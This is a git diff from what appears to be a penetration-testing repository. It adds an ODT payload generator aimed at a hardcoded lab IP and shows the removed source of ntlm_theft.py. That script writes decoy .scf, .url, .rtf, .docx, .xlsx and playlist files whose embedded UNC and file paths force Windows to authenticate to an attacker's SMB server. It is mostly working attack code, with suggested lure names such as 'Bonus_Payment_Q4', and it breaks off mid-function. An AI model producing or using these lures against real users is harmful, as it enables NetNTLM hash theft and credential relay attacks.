diff --git a/custom/__pycache__/odt_gen.cpython-311.pyc b/custom/__pycache__/odt_gen.cpython-311.pyc
new file mode 100644
index 0000000..2b3ac82
Binary files /dev/null and b/custom/__pycache__/odt_gen.cpython-311.pyc differ
diff --git a/custom/__pycache__/odt_gen.cpython-313.pyc b/custom/__pycache__/odt_gen.cpython-313.pyc
new file mode 100644
index 0000000..fe8accb
Binary files /dev/null and b/custom/__pycache__/odt_gen.cpython-313.pyc differ
diff --git a/custom/odt_gen.py b/custom/odt_gen.py
new file mode 100644
index 0000000..e0d7048
--- /dev/null
+++ b/custom/odt_gen.py
@@ -0,0 +1,102 @@
+#!/usr/local/bin/python3.11
+
+import os, zipfile
+
+def generate_content_xml(lhost):
+ data = f'''
+'''
+
+ with open("content.xml", "w", encoding="utf-8") as f:
+ f.write(data)
+
+def generate_manifest_rdf():
+ data = '''
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+'''
+
+ with open("manifest.rdf", "w", encoding="utf-8") as f:
+ f.write(data)
+
+def generate_meta_xml():
+ data = '''
+RD_PENTEST2017-02-06T15:15:47.352017-02-06T15:21:59.64RD_PENTESTPT4M16S22018-05-10T20:29:41.398000000LibreOffice/6.0.3.2$Windows_X86_64 LibreOffice_project/8f48d515416608e3a835360314dac7e47fd0b821'''
+
+ with open("meta.xml", "w", encoding="utf-8") as f:
+ f.write(data)
+
+def generate_settings_xml():
+ data = '''
+002449011340truefalseview23745250100244881133801false200falsefalsefalse1truefalsefalsetruefalsefalsetruetruetruefalse0truefalsefalsefalse0falsetruefalsehigh-resolutionfalsefalsefalsefalsefalsetruefalsefalsefalsefalsetruefalsetruefalsefalsefalsefalsefalsetruefalse1268869falsefalsefalsefalsefalse1268869falsetruefalsetruetruefalsefalsefalsefalsefalsetruefalsefalse0truefalsefalsetruetruetruefalsetruefalsetruefalsefalsetruefalsefalse'''
+
+ with open("settings.xml", "w", encoding="utf-8") as f:
+ f.write(data)
+
+def generate_styles_xml():
+ data = '''
+'''
+
+ with open("styles.xml", "w", encoding="utf-8") as f:
+ f.write(data)
+
+def generate_manifest_xml():
+ data = '''
+
+
+
+
+
+
+
+
+
+
+
+
+
+'''
+
+ os.makedirs("META-INF", exist_ok=True)
+ with open("META-INF/manifest.xml", "w", encoding="utf-8") as f:
+ f.write(data)
+
+def create_odt(lhost, filename):
+ generate_content_xml(lhost)
+ generate_manifest_rdf()
+ generate_meta_xml()
+ generate_settings_xml()
+ generate_styles_xml()
+ generate_manifest_xml()
+ # create_desktopini(args.generate, args.server, os.path.join(args.filename, "desktop.ini"))
+
+ # zip to odt
+ files = ["content.xml", "manifest.rdf", "meta.xml", "settings.xml", "styles.xml", "META-INF/manifest.xml"]
+ with zipfile.ZipFile(filename, "w", zipfile.ZIP_DEFLATED) as z:
+ for f in files:
+ z.write(f, arcname=f)
+
+ # cleanup files
+ for f in files:
+ if os.path.exists(f):
+ os.remove(f)
+
+ # cleanup META-INF directory if empty
+ if os.path.isdir("META-INF") and not os.listdir("META-INF"):
+ os.rmdir("META-INF")
+
+if __name__ == '__main__':
+ create_odt('192.168.45.155', 'test.odt')
\ No newline at end of file
diff --git a/custom/test.odt b/custom/test.odt
new file mode 100644
index 0000000..37cb191
Binary files /dev/null and b/custom/test.odt differ
diff --git a/ntlm_theft.py b/ntlm_theft.py
index b72fb76..6fd68d4 100644
--- a/ntlm_theft.py
+++ b/ntlm_theft.py
@@ -1,668 +1,680 @@
-#!/usr/bin/env
-# -*- coding: utf-8 -*-
-from __future__ import print_function
-
-# Tested on Windows 10 1903 Build 18362.720
-# Working Attacks:
-# Browse to directory: .url
-# Open file: .xml, .rtf, .jnlp, .xml (includePicture), .asx, .docx (includePicture), .docx (remoteTemplate), .docx (via Frameset), .xlsx (via External Cell), .htm (Open locally with Chrome, IE or Edge)
-# Open file and allow: pdf
-# Browser download and open: .application (Must be downloaded via a web browser and run)
-# Partial Open file: .m3u (Works if you open with windows media player, but windows 10 auto opens with groove music)
-
-# In progress - desktop.ini (Need to test older windows versions), autorun.ini (Need to test before windows 7), scf (Need to test on older windows)
-
-
-# References
-# https://ired.team/offensive-security/initial-access/t1187-forced-authentication
-# https://www.securify.nl/blog/SFY20180501/living-off-the-land_-stealing-netntlm-hashes.html
-# https://ired.team/offensive-security/initial-access/phishing-with-ms-office/inject-macros-from-a-remote-dotm-template-docx-with-macros
-# https://pentestlab.blog/2017/12/18/microsoft-office-ntlm-hashes-via-frameset/
-# https://github.com/deepzec/Bad-Pdf/blob/master/badpdf.py
-# https://github.com/rocketscientist911/excel-ntlmv2
-# https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/#comments
-# https://www.youtube.com/watch?v=PDpBEY1roRc
-# https://web.archive.org/web/20190106181024/https://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-.LIBRARY-MS-FILETYPE-INFORMATION-DISCLOSURE.txt
-
-import argparse
-import io
-import os
-import shutil
-import xlsxwriter
-from sys import exit
-
-#the basic path of the script, make it possible to run from anywhere
-script_directory = os.path.dirname(os.path.abspath(__file__))
-
-#arg parser to generate all or one file
-#python ntlm_theft --generate all --ip 127.0.0.1 --filename board-meeting2020
-parser = argparse.ArgumentParser(
- formatter_class=argparse.RawDescriptionHelpFormatter,
- description='ntlm_theft by Jacob Wilkin(Greenwolf)',
- usage='%(prog)s --generate all --server --filename ')
-parser.add_argument('-v', '--version', action='version',
- version='%(prog)s 0.1.0 : ntlm_theft by Jacob Wilkin(Greenwolf)')
-parser.add_argument('-vv', '--verbose', action='store_true',dest='vv',help='Verbose Mode')
-parser.add_argument('-g', '--generate',
- action='store',
- dest='generate',
- required=True,
- choices=set((
- "modern",
- "all",
- "scf",
- "url",
- "lnk",
- "rtf",
- "xml",
- "htm",
- "docx",
- "xlsx",
- "wax",
- "m3u",
- "asx",
- "jnlp",
- "application",
- "pdf",
- "zoom",
- "libraryms",
- "autoruninf",
- "desktopini")),
- help='Choose to generate all files or a specific filetype')
-parser.add_argument('-s', '--server',action='store', dest='server',required=True,
- help='The IP address of your SMB hash capture server (Responder, impacket ntlmrelayx, Metasploit auxiliary/server/capture/smb, etc)')
-parser.add_argument('-f', '--filename',action='store', dest='filename',required=True,
- help='The base filename without extension, can be renamed later (test, Board-Meeting2020, Bonus_Payment_Q4)')
-args = parser.parse_args()
-
-
-# NOT WORKING ON LATEST WINDOWS
-# .scf remote IconFile Attack
-# Filename: shareattack.scf, action=browse, attacks=explorer
-def create_scf(generate,server,filename):
- if generate == "modern":
- print("Skipping SCF as it does not work on modern Windows")
- return
- file = open(filename,'w')
- file.write('''[Shell]
-Command=2
-IconFile=\\\\''' + server + '''\\tools\\nc.ico
-[Taskbar]
-Command=ToggleDesktop''')
- file.close()
- print("Created: " + filename + " (BROWSE TO FOLDER)")
-
-# .url remote url attack
-def create_url_url(generate,server,filename):
- file = open(filename,'w')
- file.write('''[InternetShortcut]
-URL=file://''' + server + '''/leak/leak.html''')
- file.close()
- print("Created: " + filename + " (BROWSE TO FOLDER)")
-
-
-# .url remote IconFile attack
-# Filename: shareattack.url, action=browse, attacks=explorer
-def create_url_icon(generate,server,filename):
- file = open(filename,'w')
- file.write('''[InternetShortcut]
-URL=whatever
-WorkingDirectory=whatever
-IconFile=\\\\''' + server + '''\\%USERNAME%.icon
-IconIndex=1''')
- file.close()
- print("Created: " + filename + " (BROWSE TO FOLDER)")
-
-# .rtf remote INCLUDEPICTURE attack
-# Filename: shareattack.rtf, action=open, attacks=notepad/wordpad
-def create_rtf(generate,server,filename):
- file = open(filename,'w')
- file.write('''{\\rtf1{\\field{\\*\\fldinst {INCLUDEPICTURE "file://''' + server + '''/test.jpg" \\\\* MERGEFORMAT\\\\d}}{\\fldrslt}}}''')
- file.close()
- print("Created: " + filename + " (OPEN)")
-
-# .xml remote stylesheet attack
-# Filename: shareattack.xml, action=open, attacks=word
-def create_xml(generate,server,filename):
- file = open(filename,'w')
- file.write('''
-
-''')
- file.close()
- print("Created: " + filename + " (OPEN)")
-
-# .xml with remote includepicture field attack
-# Filename: shareattack.xml, action=open, attacks=word
-def create_xml_includepicture(generate,server, filename):
- documentfilename = os.path.join(script_directory,"templates", "includepicture-template.xml")
- # Read the template file
- file = open(documentfilename, 'r', encoding="utf8")
- filedata = file.read()
- file.close()
- # Replace the target string
- filedata = filedata.replace('127.0.0.1', server)
- # Write the file out again
- file = open(filename, 'w', encoding="utf8")
- file.write(filedata)
- file.close()
- print("Created: " + filename + " (OPEN)")
-
-# .htm with remote image attack
-# Filename: shareattack.htm, action=open, attacks=internet explorer + Edge + Chrome when launched from desktop
-def create_htm(generate,server,filename):
- file = open(filename,'w')
- file.write('''
-
- 
-''')
- file.close()
- print("Created: " + filename + " (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)")
-
-# .htm with rlocal handler attack
-# Filename: shareattack-(handler).htm, action=open, attacks=open in web browser, will automatically open word
-def create_htm_handler(generate,server,filename):
- file = open(filename,'w')
- file.write('''
-
-
-''')
- file.close()
- print("Created: " + filename + " (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)")
-
-# .docx file with remote includepicture field attack
-def create_docx_includepicture(generate,server,filename):
- # Source path
- src = os.path.join(script_directory,"templates", "docx-includepicture-template")
- # Destination path
- dest = os.path.join("docx-includepicture-template")
- # Copy the content of
- # source to destination
- shutil.copytree(src, dest)
- documentfilename = os.path.join("docx-includepicture-template", "word", "_rels", "document.xml.rels")
- # Read the template file
- file = open(documentfilename, 'r')
- filedata = file.read()
- file.close()
- # Replace the target string
- filedata = filedata.replace('127.0.0.1', server)
- # Write the file out again
- file = open(documentfilename, 'w')
- file.write(filedata)
- file.close()
- shutil.make_archive(filename, 'zip', "docx-includepicture-template")
- os.rename(filename +".zip",filename)
- shutil.rmtree("docx-includepicture-template")
- print("Created: " + filename + " (OPEN)")
-
-# .docx file with remote template attack
-# Filename: shareattack.docx (unzip and put inside word\_rels\settings.xml.rels), action=open, attacks=word
-# Instructions: Word > Create New Document > Choose a Template > Unzip docx, change target in word\_rels\settings.xml.rels change target to smb server
-def create_docx_remote_template(generate,server,filename):
- # Source path
- src = os.path.join(script_directory,"templates", "docx-remotetemplate-template")
- # Destination path
- dest = os.path.join("docx-remotetemplate-template")
- # Copy the content of
- # source to destination
- shutil.copytree(src, dest)
- documentfilename = os.path.join("docx-remotetemplate-template", "word", "_rels", "settings.xml.rels")
- # Read the template file
- file = open(documentfilename, 'r')
- filedata = file.read()
- file.close()
- # Replace the target string
- filedata = filedata.replace('127.0.0.1', server)
- # Write the file out again
- file = open(documentfilename, 'w')
- file.write(filedata)
- file.close()
- shutil.make_archive(filename, 'zip', "docx-remotetemplate-template")
- os.rename(filename +".zip",filename)
- shutil.rmtree("docx-remotetemplate-template")
- print("Created: " + filename + " (OPEN)")
-
-# .docx file with Frameset attack
-def create_docx_frameset(generate,server,filename):
- # Source path
- src = os.path.join(script_directory,"templates", "docx-frameset-template")
- # Destination path
- dest = os.path.join("docx-frameset-template")
- # Copy the content of
- # source to destination
- shutil.copytree(src, dest)
- documentfilename = os.path.join("docx-frameset-template", "word", "_rels", "webSettings.xml.rels")
- # Read the template file
- file = open(documentfilename, 'r')
- filedata = file.read()
- file.close()
- # Replace the target string
- filedata = filedata.replace('127.0.0.1', server)
- # Write the file out again
- file = open(documentfilename, 'w')
- file.write(filedata)
- file.close()
- shutil.make_archive(filename, 'zip', "docx-frameset-template")
- os.rename(filename +".zip",filename)
- shutil.rmtree("docx-frameset-template")
- print("Created: " + filename + " (OPEN)")
-
-# .xlsx file with cell based attack
-def create_xlsx_externalcell(generate,server,filename):
- workbook = xlsxwriter.Workbook(filename)
- worksheet = workbook.add_worksheet()
- worksheet.write_url('AZ1', "external://"+server+"\\share\\[Workbookname.xlsx]SheetName'!$B$2:$C$62,2,FALSE)")
- workbook.close()
- print("Created: " + filename + " (OPEN)")
-
-# .wax remote playlist attack
-# Filename: shareattack.wax, action=open, attacks=windows media player
-def create_wax(generate,server,filename):
- file = open(filename,'w')
- file.write('''https://''' + server + '''/test
-file://\\\\''' + server + '''/steal/file''')
- file.close()
- print("Created: " + filename + " (OPEN)")
-
-# .m3u remote playlist attack
-# Filename: shareattack.m3u, action=open, attacks=windows media player
-def create_m3u(generate,server,filename):
- file = open(filename,'w')
- file.write('''#EXTM3U
-#EXTINF:1337, Leak
-\\\\''' + server + '''\\leak.mp3''')
- file.close()
- print("Created: " + filename + " (OPEN IN WINDOWS MEDIA PLAYER ONLY)")
-
-# .asx remote playlist attack
-# Filename: shareattack.asx, action=open, attacks=windows media player
-def create_asx(generate,server,filename):
- file = open(filename,'w')
- file.write('''
- Leak
-
-
-